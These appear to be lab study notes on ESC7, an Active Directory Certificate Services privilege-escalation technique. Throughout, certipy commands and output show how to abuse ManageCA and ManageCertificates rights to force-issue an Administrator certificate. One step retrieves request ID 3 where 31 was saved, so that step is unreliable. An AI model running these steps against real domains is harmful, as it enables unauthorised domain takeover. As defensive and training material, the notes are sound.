ESC7

Vulnerable Certificate Authority Access Control

A certificate authority holds a distinct set of permissions crucial for securing various CA functions.

• CA Administrator (ManageCA right): This role allows managing the CA's settings, including using the ICertAdminD2::SetConfigEntry method to adjust important configurations, like whether the CA accepts request attributes for Subject Alternative Names (SANs).

• Certificate Manager (ManageCertificates right): Also called a CA officer, this role focuses on managing issued certificates.

Abuse from Linux - ManageCA rights

certipy find -u '[email protected]' -p 'Password123!' -stdout -vulnerable

    [!] Vulnerabilities                        
      ESC7                              : 'LAB.LOCAL\\Black Wasp' has dangerous permissions

Enabling EDITF_ATTRIBUTESUBJECTALTNAME2 flag to perform ESC6 attack, will not have any effect until the CA service (CertSvc) is restarted.

The ManageCertificates role allows us to approve pending certificate requests, which can be done with the ManageCA rights. Combining it with ManageCertificates roles, we can issue certificate requests that have failed.

SubCA template is also enabled by default. This template is vulnerable to ESC1 but only permits Domain Admins and Enterprise Admins to enroll.

# Enable SubCA 
certipy ca -u '[email protected]' -p 'Password123!' -ca lab-LAB-DC-CA -enable-template 'SubCA'

It is important to note that when executing certipy, if the output does not display the ManageCertificates rights, it indicates that the server's rights are set by default.

With ManageCA rights we assign ManageCertificate rights to any account.

certipy ca -u '[email protected]' -p 'Password123!' -ca lab-LAB-DC-CA -add-officer BlWasp

With the SubCA template enabled and with ManageCertificates rights, we can request a certificate by adding an alternative SAN and selecting the SubCA template.

mczen@htb[/htb]$ certipy req -u '[email protected]' -p 'Password123!' -ca lab-LAB-DC-CA -template SubCA -upn Administrator

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 31
Would you like to save the private key? (y/N) y
[*] Saved private key to 31.key
[-] Failed to request certificate

Error because we are not member of Domain Admins or Enterprise Admins. Save the request ID 31 and yes to save the key. With ManageCA and ManagerCertificates rights we issue the failed certificate request using certipy ca with -issue-request 31

mczen@htb[/htb]$ certipy ca -u '[email protected]' -p 'Password123!' -ca lab-LAB-DC-CA -issue-request 31

Retrieve the certificate with ID

certipy req -u '[email protected]' -p 'Password123!' -ca lab-LAB-DC-CA -retrieve 3

Abuse from Linux - ManageCertificates rights

Request a certificate

mczen@htb[/htb]$ certipy req -u '[email protected]' -p 'Password123!' -ca lab-LAB-DC-CA -template ESC7_1 -upn Administrator
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[!] Certificate request is pending approval
[*] Request ID is 59
Would you like to save the private key? (y/N) y
[*] Saved private key to 59.key
[-] Failed to request certificate

It says the certificate request is pending approval, showing request ID 59. Save private key again and approve the request.

mczen@htb[/htb]$ certipy ca -u '[email protected]' -p 'Password123!' -ca lab-LAB-DC-CA -issue-request 59                                             
Certipy v4.8.2 - by Oliver Lyak (ly4k)                                                                                                            
                                                                                                                                                  
[*] Successfully issued certificate

Finally retrieve the approved request

certipy req -u '[email protected]' -p 'Password123!' -ca lab-LAB-DC-CA -retrieve 59